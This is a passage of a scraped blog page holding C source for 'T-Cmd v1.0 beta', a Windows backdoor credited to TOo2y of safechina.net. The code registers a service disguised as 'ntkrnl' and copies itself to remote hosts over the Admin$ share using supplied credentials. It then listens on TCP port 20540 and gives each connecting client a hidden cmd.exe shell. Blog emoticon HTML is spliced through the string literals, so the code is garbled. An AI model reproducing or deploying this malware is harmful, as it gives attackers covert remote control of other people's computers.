border="0"></a>)&nbsp;<br>{&nbsp;<br>InstallCmdService(argv[2]);&nbsp;<br>}&nbsp;<br>else&nbsp;if(!stricmp(argv[1],"-remove"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>)&nbsp;<br>{&nbsp;<br>RemoveCmdService(argv[2]);&nbsp;<br>}&nbsp;<br><br>if(ConnectRemote(FALSE,argv[2],argv[3],argv[4])==FALSE)&nbsp;<br>{&nbsp;<br>return&nbsp;-1;&nbsp;<br>}&nbsp;<br>return&nbsp;0;&nbsp;<br>}&nbsp;<br>else&nbsp;if(argc==2)&nbsp;<br>{&nbsp;<br>if(!stricmp(argv[1],"-install"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>)&nbsp;<br>{&nbsp;<br>InstallCmdService(NULL);&nbsp;<br>}&nbsp;<br>else&nbsp;if(!stricmp(argv[1],"-remove"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>)&nbsp;<br>{&nbsp;<br>RemoveCmdService(NULL);&nbsp;<br>}&nbsp;<br>else&nbsp;<br>{&nbsp;<br>Start();&nbsp;<br>Usage();&nbsp;<br>}&nbsp;<br>return&nbsp;0;&nbsp;<br>}&nbsp;<br><br>StartServiceCtrlDispatcher(DispatchTable);&nbsp;<br><br>return&nbsp;0;&nbsp;<br>}&nbsp;<br><br>void&nbsp;WINAPI&nbsp;CmdStart(DWORD&nbsp;dwArgc,LPTSTR&nbsp;*lpArgv)&nbsp;<br>{&nbsp;<br>HANDLE&nbsp;hThread;&nbsp;<br><br>ServiceStatus.dwServiceType&nbsp;=&nbsp;SERVICE_WIN32;&nbsp;<br>ServiceStatus.dwCurrentState&nbsp;=&nbsp;SERVICE_START_PENDING;&nbsp;<br>ServiceStatus.dwControlsAccepted&nbsp;=&nbsp;SERVICE_ACCEPT_STOP&nbsp;<br>|&nbsp;SERVICE_ACCEPT_PAUSE_CONTINUE;&nbsp;<br>ServiceStatus.dwServiceSpecificExitCode&nbsp;=&nbsp;0;&nbsp;<br>ServiceStatus.dwWin32ExitCode&nbsp;=&nbsp;0;&nbsp;<br>ServiceStatus.dwCheckPoint&nbsp;=&nbsp;0;&nbsp;<br>ServiceStatus.dwWaitHint&nbsp;=&nbsp;0;&nbsp;<br><br>ServiceStatusHandle=RegisterServiceCtrlHandler("ntkrnl",CmdControl);&nbsp;<br>if(ServiceStatusHandle==0)&nbsp;<br>{&nbsp;<br>OutputDebugString("RegisterServiceCtrlHandler&nbsp;Error&nbsp;!\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>return&nbsp;;&nbsp;<br>}&nbsp;<br><br>ServiceStatus.dwCurrentState&nbsp;=&nbsp;SERVICE_RUNNING;&nbsp;<br>ServiceStatus.dwCheckPoint&nbsp;=&nbsp;0;&nbsp;<br>ServiceStatus.dwWaitHint&nbsp;=&nbsp;0;&nbsp;<br><br>if(SetServiceStatus(ServiceStatusHandle,&amp;ServiceStatus)==0)&nbsp;<br>{&nbsp;<br>OutputDebugString("SetServiceStatus&nbsp;in&nbsp;CmdStart&nbsp;Error&nbsp;!\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>return&nbsp;;&nbsp;<br>}&nbsp;<br><br>hThread=CreateThread(NULL,0,CmdService,NULL,0,NULL);&nbsp;<br>if(hThread==NULL)&nbsp;<br>{&nbsp;<br>OutputDebugString("CreateThread&nbsp;in&nbsp;CmdStart&nbsp;Error&nbsp;!\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>}&nbsp;<br><br>return&nbsp;;&nbsp;<br>}&nbsp;<br><br>void&nbsp;WINAPI&nbsp;CmdControl(DWORD&nbsp;dwCode)&nbsp;<br>{&nbsp;<br>switch(dwCode)&nbsp;<br>{&nbsp;<br>case&nbsp;SERVICE_CONTROL_PAUSE:&nbsp;<br>ServiceStatus.dwCurrentState&nbsp;=&nbsp;SERVICE_PAUSED;&nbsp;<br>break;&nbsp;<br><br>case&nbsp;SERVICE_CONTROL_CONTINUE:&nbsp;<br>ServiceStatus.dwCurrentState&nbsp;=&nbsp;SERVICE_RUNNING;&nbsp;<br>break;&nbsp;<br><br>case&nbsp;SERVICE_CONTROL_STOP:&nbsp;<br>WaitForSingleObject(hMutex,INFINITE);&nbsp;<br>while(lpProcessDataHead!=NULL)&nbsp;<br>{&nbsp;<br>TerminateProcess(lpProcessDataHead-&gt;hProcess,1);&nbsp;<br>if(lpProcessDataHead-&gt;next!=NULL)&nbsp;<br>{&nbsp;<br>lpProcessDataHead=lpProcessDataHead-&gt;next;&nbsp;<br>}&nbsp;<br>else&nbsp;<br>{&nbsp;<br>lpProcessDataHead=NULL;&nbsp;<br>}&nbsp;<br>}&nbsp;<br><br>ServiceStatus.dwCurrentState&nbsp;=&nbsp;SERVICE_STOPPED;&nbsp;<br>ServiceStatus.dwWin32ExitCode&nbsp;=&nbsp;0;&nbsp;<br>ServiceStatus.dwCheckPoint&nbsp;=&nbsp;0;&nbsp;<br>ServiceStatus.dwWaitHint&nbsp;=&nbsp;0;&nbsp;<br>if(SetServiceStatus(ServiceStatusHandle,&amp;ServiceStatus)==0)&nbsp;<br>{&nbsp;<br>OutputDebugString("SetServiceStatus&nbsp;in&nbsp;CmdControl&nbsp;in&nbsp;Switch&nbsp;Error&nbsp;!\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>}&nbsp;<br><br>ReleaseMutex(hMutex);&nbsp;<br>CloseHandle(hMutex);&nbsp;<br>return&nbsp;;&nbsp;<br><br>case&nbsp;SERVICE_CONTROL_INTERROGATE:&nbsp;<br>break;&nbsp;<br><br>default:&nbsp;<br>break;&nbsp;<br>}&nbsp;<br><br>if(SetServiceStatus(ServiceStatusHandle,&amp;ServiceStatus)==0)&nbsp;<br>{&nbsp;<br>OutputDebugString("SetServiceStatus&nbsp;in&nbsp;CmdControl&nbsp;out&nbsp;Switch&nbsp;Error&nbsp;!\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>}&nbsp;<br><br>return&nbsp;;&nbsp;<br>}&nbsp;<br><br>DWORD&nbsp;WINAPI&nbsp;CmdService(LPVOID&nbsp;lpParam)&nbsp;<br>{&nbsp;<br>WSADATA&nbsp;wsa;&nbsp;<br>SOCKET&nbsp;sServer;&nbsp;<br>SOCKET&nbsp;sClient;&nbsp;<br>HANDLE&nbsp;hThread;&nbsp;<br>struct&nbsp;sockaddr_in&nbsp;sin;&nbsp;<br><br>WSAStartup(MAKEWORD(2,2),&amp;wsa);&nbsp;<br>sServer&nbsp;=&nbsp;socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);&nbsp;<br>if(sServer==INVALID_SOCKET)&nbsp;<br>{&nbsp;<br>OutputDebugString("Socket&nbsp;Error&nbsp;!\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>return&nbsp;-1;&nbsp;<br>}&nbsp;<br>sin.sin_family&nbsp;=&nbsp;AF_INET;&nbsp;<br>sin.sin_port&nbsp;=&nbsp;htons(20540);&nbsp;<br>sin.sin_addr.S_un.S_addr&nbsp;=&nbsp;INADDR_ANY;&nbsp;<br><br>if(bind(sServer,(const&nbsp;struct&nbsp;sockaddr&nbsp;*)&amp;sin,sizeof(sin))==SOCKET_ERROR)&nbsp;<br>{&nbsp;<br>OutputDebugString("Bind&nbsp;Error&nbsp;!\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>return&nbsp;-1;&nbsp;<br>}&nbsp;<br>if(listen(sServer,5)==SOCKET_ERROR)&nbsp;<br>{&nbsp;<br>OutputDebugString("Listen&nbsp;Error&nbsp;!\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>return&nbsp;-1;&nbsp;<br>}&nbsp;<br><br>hMutex=CreateMutex(NULL,FALSE,NULL);&nbsp;<br>if(hMutex==NULL)&nbsp;<br>{&nbsp;<br>OutputDebugString("Create&nbsp;Mutex&nbsp;Error&nbsp;!\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>}&nbsp;<br>lpProcessDataHead=NULL;&nbsp;<br>lpProcessDataEnd=NULL;&nbsp;<br><br>while(1)&nbsp;<br>{&nbsp;<br>sClient=accept(sServer,NULL,NULL);&nbsp;<br>hThread=CreateThread(NULL,0,CmdShell,(LPVOID)&amp;sClient,0,NULL);&nbsp;<br>if(hThread==NULL)&nbsp;<br>{&nbsp;<br>OutputDebugString("CreateThread&nbsp;of&nbsp;CmdShell&nbsp;Error&nbsp;!\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>break;&nbsp;<br>}&nbsp;<br>Sleep(1000);&nbsp;<br>}&nbsp;<br><br>WSACleanup();&nbsp;<br>return&nbsp;0;&nbsp;<br>}&nbsp;<br><br>DWORD&nbsp;WINAPI&nbsp;CmdShell(LPVOID&nbsp;lpParam)&nbsp;<br>{&nbsp;<br>SOCKET&nbsp;sClient=*(SOCKET&nbsp;*)lpParam;&nbsp;<br>HANDLE&nbsp;hWritePipe,hReadPipe,hWriteShell,hReadShell;&nbsp;<br>HANDLE&nbsp;hThread[3];&nbsp;<br>DWORD&nbsp;dwReavThreadId,dwSendThreadId;&nbsp;<br>DWORD&nbsp;dwProcessId;&nbsp;<br>DWORD&nbsp;dwResult;&nbsp;<br>STARTUPINFO&nbsp;lpStartupInfo;&nbsp;<br>SESSIONDATA&nbsp;sdWrite,sdRead;&nbsp;<br>PROCESS_INFORMATION&nbsp;lpProcessInfo;&nbsp;<br>SECURITY_ATTRIBUTES&nbsp;saPipe;&nbsp;<br>PPROCESSDATA&nbsp;lpProcessDataLast;&nbsp;<br>PPROCESSDATA&nbsp;lpProcessDataNow;&nbsp;<br>char&nbsp;lpImagePath[MAX_PATH];&nbsp;<br><br>saPipe.nLength&nbsp;=&nbsp;sizeof(saPipe);&nbsp;<br>saPipe.bInheritHandle&nbsp;=&nbsp;TRUE;&nbsp;<br>saPipe.lpSecurityDescriptor&nbsp;=&nbsp;NULL;&nbsp;<br>if(CreatePipe(&amp;hReadPipe,&amp;hReadShell,&amp;saPipe,0)==0)&nbsp;<br>{&nbsp;<br>OutputDebugString("CreatePipe&nbsp;for&nbsp;ReadPipe&nbsp;Error&nbsp;!\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>return&nbsp;-1;&nbsp;<br>}&nbsp;<br><br>if(CreatePipe(&amp;hWriteShell,&amp;hWritePipe,&amp;saPipe,0)==0)&nbsp;<br>{&nbsp;<br>OutputDebugString("CreatePipe&nbsp;for&nbsp;WritePipe&nbsp;Error&nbsp;!\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>return&nbsp;-1;&nbsp;<br>}&nbsp;<br><br>GetStartupInfo(&amp;lpStartupInfo);&nbsp;<br>lpStartupInfo.cb&nbsp;=&nbsp;sizeof(lpStartupInfo);&nbsp;<br>lpStartupInfo.dwFlags&nbsp;=&nbsp;STARTF_USESHOWWINDOW&nbsp;|&nbsp;STARTF_USESTDHANDLES;&nbsp;<br>lpStartupInfo.hStdInput&nbsp;=&nbsp;hWriteShell;&nbsp;<br>lpStartupInfo.hStdOutput&nbsp;=&nbsp;hReadShell;&nbsp;<br>lpStartupInfo.hStdError&nbsp;=&nbsp;hReadShell;&nbsp;<br>lpStartupInfo.wShowWindow&nbsp;=&nbsp;SW_HIDE;&nbsp;<br><br>GetSystemDirectory(lpImagePath,MAX_PATH);&nbsp;<br>strcat(lpImagePath,("\\cmd.exe"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>);&nbsp;<br><br>WaitForSingleObject(hMutex,INFINITE);&nbsp;<br>if(CreateProcess(lpImagePath,NULL,NULL,NULL,TRUE,0,NULL,NULL,&amp;lpStartupInfo,&amp;lpProcessInfo)==0)&nbsp;<br>{&nbsp;<br>OutputDebugString("CreateProcess&nbsp;Error&nbsp;!\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>return&nbsp;-1;&nbsp;<br>}&nbsp;<br><br>lpProcessDataNow=(PPROCESSDATA)malloc(sizeof(PROCESSDATA));&nbsp;<br>lpProcessDataNow-&gt;hProcess=lpProcessInfo.hProcess;&nbsp;<br>lpProcessDataNow-&gt;dwProcessId=lpProcessInfo.dwProcessId;&nbsp;<br>lpProcessDataNow-&gt;next=NULL;&nbsp;<br>if((lpProcessDataHead==NULL)&nbsp;||&nbsp;(lpProcessDataEnd==NULL))&nbsp;<br>{&nbsp;<br>lpProcessDataHead=lpProcessDataNow;&nbsp;<br>lpProcessDataEnd=lpProcessDataNow;&nbsp;<br>}&nbsp;<br>else&nbsp;<br>{&nbsp;<br>lpProcessDataEnd-&gt;next=lpProcessDataNow;&nbsp;<br>lpProcessDataEnd=lpProcessDataNow;&nbsp;<br>}&nbsp;<br><br>hThread[0]=lpProcessInfo.hProcess;&nbsp;<br>dwProcessId=lpProcessInfo.dwProcessId;&nbsp;<br>CloseHandle(lpProcessInfo.hThread);&nbsp;<br>ReleaseMutex(hMutex);&nbsp;<br><br>CloseHandle(hWriteShell);&nbsp;<br>CloseHandle(hReadShell);&nbsp;<br><br>sdRead.hPipe&nbsp;=&nbsp;hReadPipe;&nbsp;<br>sdRead.sClient&nbsp;=&nbsp;sClient;&nbsp;<br>hThread[1]&nbsp;=&nbsp;CreateThread(NULL,0,ReadShell,(LPVOID*)&amp;sdRead,0,&amp;dwSendThreadId);&nbsp;<br>if(hThread[1]==NULL)&nbsp;<br>{&nbsp;<br>OutputDebugString("CreateThread&nbsp;of&nbsp;ReadShell(Send)&nbsp;Error&nbsp;!\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>return&nbsp;-1;&nbsp;<br>}&nbsp;<br><br>sdWrite.hPipe&nbsp;=&nbsp;hWritePipe;&nbsp;<br>sdWrite.sClient&nbsp;=&nbsp;sClient;&nbsp;<br>hThread[2]&nbsp;=&nbsp;CreateThread(NULL,0,WriteShell,(LPVOID&nbsp;*)&amp;sdWrite,0,&amp;dwReavThreadId);&nbsp;<br>if(hThread[2]==NULL)&nbsp;<br>{&nbsp;<br>OutputDebugString("CreateThread&nbsp;for&nbsp;WriteShell(Recv)&nbsp;Error&nbsp;!\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>return&nbsp;-1;&nbsp;<br>}&nbsp;<br><br>dwResult=WaitForMultipleObjects(3,hThread,FALSE,INFINITE);&nbsp;<br>if((dwResult&gt;=WAIT_OBJECT_0)&nbsp;&amp;&amp;&nbsp;(dwResult&lt;=(WAIT_OBJECT_0&nbsp;+&nbsp;2)))&nbsp;<br>{&nbsp;<br>dwResult-=WAIT_OBJECT_0;&nbsp;<br>if(dwResult!=0)&nbsp;<br>{&nbsp;<br>TerminateProcess(hThread[0],1);&nbsp;<br>}&nbsp;<br>CloseHandle(hThread[(dwResult+1)%3]);&nbsp;<br>CloseHandle(hThread[(dwResult+2)%3]);&nbsp;<br>}&nbsp;<br><br>CloseHandle(hWritePipe);&nbsp;<br>CloseHandle(hReadPipe);&nbsp;<br><br>WaitForSingleObject(hMutex,INFINITE);&nbsp;<br>lpProcessDataLast=NULL;&nbsp;<br>lpProcessDataNow=lpProcessDataHead;&nbsp;<br>while((lpProcessDataNow-&gt;next!=NULL)&nbsp;&amp;&amp;&nbsp;(lpProcessDataNow-&gt;dwProcessId!=dwProcessId))&nbsp;<br>{&nbsp;<br>lpProcessDataLast=lpProcessDataNow;&nbsp;<br>lpProcessDataNow=lpProcessDataNow-&gt;next;&nbsp;<br>}&nbsp;<br>if(lpProcessDataNow==lpProcessDataEnd)&nbsp;<br>{&nbsp;<br>if(lpProcessDataNow-&gt;dwProcessId!=dwProcessId)&nbsp;<br>{&nbsp;<br>OutputDebugString("No&nbsp;Found&nbsp;the&nbsp;Process&nbsp;Handle&nbsp;!\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>}&nbsp;<br>else&nbsp;<br>{&nbsp;<br>if(lpProcessDataNow==lpProcessDataHead)&nbsp;<br>{&nbsp;<br>lpProcessDataHead=NULL;&nbsp;<br>lpProcessDataEnd=NULL;&nbsp;<br>}&nbsp;<br>else&nbsp;<br>{&nbsp;<br>lpProcessDataEnd=lpProcessDataLast;&nbsp;<br>}&nbsp;<br>}&nbsp;<br>}&nbsp;<br>else&nbsp;<br>{&nbsp;<br>if(lpProcessDataNow==lpProcessDataHead)&nbsp;<br>{&nbsp;<br>lpProcessDataHead=lpProcessDataNow-&gt;next;&nbsp;<br>}&nbsp;<br>else&nbsp;<br>{&nbsp;<br>lpProcessDataLast-&gt;next=lpProcessDataNow-&gt;next;&nbsp;<br>}&nbsp;<br>}&nbsp;<br>ReleaseMutex(hMutex);&nbsp;<br><br>return&nbsp;0;&nbsp;<br>}&nbsp;<br><br>DWORD&nbsp;WINAPI&nbsp;ReadShell(LPVOID&nbsp;lpParam)&nbsp;<br>{&nbsp;<br>SESSIONDATA&nbsp;sdRead=*(PSESSIONDATA)lpParam;&nbsp;<br>DWORD&nbsp;dwBufferRead,dwBufferNow,dwBuffer2Send;&nbsp;<br>char&nbsp;szBuffer[BUFFER_SIZE];&nbsp;<br>char&nbsp;szBuffer2Send[BUFFER_SIZE+32];&nbsp;<br>char&nbsp;PrevChar;&nbsp;<br>char&nbsp;szStartMessage[256]="\r\n\r\n\t\t---[&nbsp;T-Cmd&nbsp;v1.0&nbsp;beta,&nbsp;by&nbsp;TOo2y&nbsp;]---\r\n\t\t---[&nbsp;E-mail:&nbsp;TOo2y@safechina.net&nbsp;]---\r\n\t\t---[&nbsp;HomePage:&nbsp;www.safechina.net&nbsp;]---\r\n\t\t---[&nbsp;Date:&nbsp;02-05-2003&nbsp;]---\r\n\n";&nbsp;<br>char&nbsp;szHelpMessage[256]="\r\nEscape&nbsp;Character&nbsp;is&nbsp;'CTRL+]'\r\n\n";&nbsp;<br><br>send(sdRead.sClient,szStartMessage,256,0);&nbsp;<br>send(sdRead.sClient,szHelpMessage,256,0);&nbsp;<br><br>while(PeekNamedPipe(sdRead.hPipe,szBuffer,BUFFER_SIZE,&amp;dwBufferRead,NULL,NULL))&nbsp;<br>{&nbsp;<br>if(dwBufferRead&gt;0)&nbsp;<br>{&nbsp;<br>ReadFile(sdRead.hPipe,szBuffer,BUFFER_SIZE,&amp;dwBufferRead,NULL);&nbsp;<br>}&nbsp;<br>else&nbsp;<br>{&nbsp;<br>Sleep(10);&nbsp;<br>continue;&nbsp;<br>}&nbsp;<br><br>for(dwBufferNow=0,dwBuffer2Send=0;dwBufferNow&lt;dwBufferRead;dwBufferNow++,dwBuffer2Send++)&nbsp;<br>{&nbsp;<br>if((szBuffer[dwBufferNow]=='\n')&nbsp;&amp;&amp;&nbsp;(PrevChar!='\r'))&nbsp;<br>{&nbsp;<br>szBuffer[dwBuffer2Send++]='\r';&nbsp;<br>}&nbsp;<br>PrevChar=szBuffer[dwBufferNow];&nbsp;<br>szBuffer2Send[dwBuffer2Send]=szBuffer[dwBufferNow];&nbsp;<br>}&nbsp;<br><br>if(send(sdRead.sClient,szBuffer2Send,dwBuffer2Send,0)==SOCKET_ERROR)&nbsp;<br>{&nbsp;<br>OutputDebugString("Send&nbsp;in&nbsp;ReadShell&nbsp;Error&nbsp;!\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>break;&nbsp;<br>}&nbsp;<br>Sleep(5);&nbsp;<br>}&nbsp;<br><br>shutdown(sdRead.sClient,0x02);&nbsp;<br>closesocket(sdRead.sClient);&nbsp;<br>return&nbsp;0;&nbsp;<br>}&nbsp;<br><br>DWORD&nbsp;WINAPI&nbsp;WriteShell(LPVOID&nbsp;lpParam)&nbsp;<br>{&nbsp;<br>SESSIONDATA&nbsp;sdWrite=*(PSESSIONDATA)lpParam;&nbsp;<br>DWORD&nbsp;dwBuffer2Write,dwBufferWritten;&nbsp;<br>char&nbsp;szBuffer[1];&nbsp;<br>char&nbsp;szBuffer2Write[BUFFER_SIZE];&nbsp;<br><br>dwBuffer2Write=0;&nbsp;<br>while(recv(sdWrite.sClient,szBuffer,1,0)!=0)&nbsp;<br>{&nbsp;<br>szBuffer2Write[dwBuffer2Write++]=szBuffer[0];&nbsp;<br><br>if(strnicmp(szBuffer2Write,"exit\r\n",6)==0)&nbsp;<br>{&nbsp;<br>shutdown(sdWrite.sClient,0x02);&nbsp;<br>closesocket(sdWrite.sClient);&nbsp;<br>return&nbsp;0;&nbsp;<br>}&nbsp;<br><br>if(szBuffer[0]=='\n')&nbsp;<br>{&nbsp;<br>if(WriteFile(sdWrite.hPipe,szBuffer2Write,dwBuffer2Write,&amp;dwBufferWritten,NULL)==0)&nbsp;<br>{&nbsp;<br>OutputDebugString("WriteFile&nbsp;in&nbsp;WriteShell(Recv)&nbsp;Error&nbsp;!\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>break;&nbsp;<br>}&nbsp;<br>dwBuffer2Write=0;&nbsp;<br>}&nbsp;<br>Sleep(10);&nbsp;<br>}&nbsp;<br><br>shutdown(sdWrite.sClient,0x02);&nbsp;<br>closesocket(sdWrite.sClient);&nbsp;<br>return&nbsp;0;&nbsp;<br>}&nbsp;<br><br>BOOL&nbsp;ConnectRemote(BOOL&nbsp;bConnect,char&nbsp;*lpHost,char&nbsp;*lpUserName,char&nbsp;*lpPassword)&nbsp;<br>{&nbsp;<br>char&nbsp;lpIPC[256];&nbsp;<br>DWORD&nbsp;dwErrorCode;&nbsp;<br>NETRESOURCE&nbsp;NetResource;&nbsp;<br><br>sprintf(lpIPC,"\\\\%s\\ipc＄",lpHost);&nbsp;<br>NetResource.lpLocalName&nbsp;=&nbsp;NULL;&nbsp;<br>NetResource.lpRemoteName&nbsp;=&nbsp;lpIPC;&nbsp;<br>NetResource.dwType&nbsp;=&nbsp;RESOURCETYPE_ANY;&nbsp;<br>NetResource.lpProvider&nbsp;=&nbsp;NULL;&nbsp;<br><br>if(!stricmp(lpPassword,"NULL"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>)&nbsp;<br>{&nbsp;<br>lpPassword=NULL;&nbsp;<br>}&nbsp;<br><br>if(bConnect)&nbsp;<br>{&nbsp;<br>printf("Now&nbsp;Connecting&nbsp;......&nbsp;"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>while(1)&nbsp;<br>{&nbsp;<br>dwErrorCode=WNetAddConnection2(&amp;NetResource,lpPassword,lpUserName,CONNECT_INTERACTIVE);&nbsp;<br>if((dwErrorCode==ERROR_ALREADY_ASSIGNED)&nbsp;||&nbsp;(dwErrorCode==ERROR_DEVICE_ALREADY_REMEMBERED))&nbsp;<br>{&nbsp;<br>WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE);&nbsp;<br>}&nbsp;<br>else&nbsp;if(dwErrorCode==NO_ERROR)&nbsp;<br>{&nbsp;<br>printf("Success&nbsp;!\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>break;&nbsp;<br>}&nbsp;<br>else&nbsp;<br>{&nbsp;<br>printf("Failure&nbsp;!\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>return&nbsp;FALSE;&nbsp;<br>}&nbsp;<br>Sleep(10);&nbsp;<br>}&nbsp;<br>}&nbsp;<br>else&nbsp;<br>{&nbsp;<br>printf("Now&nbsp;Disconnecting&nbsp;...&nbsp;"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>dwErrorCode=WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE);&nbsp;<br>if(dwErrorCode==NO_ERROR)&nbsp;<br>{&nbsp;<br>printf("Success&nbsp;!\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>}&nbsp;<br>else&nbsp;<br>{&nbsp;<br>printf("Failure&nbsp;!\n"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>return&nbsp;FALSE;&nbsp;<br>}&nbsp;<br>}&nbsp;<br><br>return&nbsp;TRUE;&nbsp;<br>}&nbsp;<br><br>void&nbsp;InstallCmdService(char&nbsp;*lpHost)&nbsp;<br>{&nbsp;<br>SC_HANDLE&nbsp;schSCManager;&nbsp;<br>SC_HANDLE&nbsp;schService;&nbsp;<br>char&nbsp;lpCurrentPath[MAX_PATH];&nbsp;<br>char&nbsp;lpImagePath[MAX_PATH];&nbsp;<br>char&nbsp;*lpHostName;&nbsp;<br>WIN32_FIND_DATA&nbsp;FileData;&nbsp;<br>HANDLE&nbsp;hSearch;&nbsp;<br>DWORD&nbsp;dwErrorCode;&nbsp;<br>SERVICE_STATUS&nbsp;InstallServiceStatus;&nbsp;<br><br>if(lpHost==NULL)&nbsp;<br>{&nbsp;<br>GetSystemDirectory(lpImagePath,MAX_PATH);&nbsp;<br>strcat(lpImagePath,"\\ntkrnl.exe"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;&nbsp;<br>lpHostName=NULL;&nbsp;<br>}&nbsp;<br>else&nbsp;<br>{&nbsp;<br>sprintf(lpImagePath,"\\\\%s\\Admin＄\\system32\\ntkrnl.exe",lpHost);&nbsp;<br>lpHostName=(char&nbsp;*)malloc(256);&nbsp;<br>sprintf(lpHostName,"\\\\%s",lpHost);&nbsp;<br>}&nbsp;<br><br>printf("Transmitting&nbsp;File&nbsp;...&nbsp;"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" 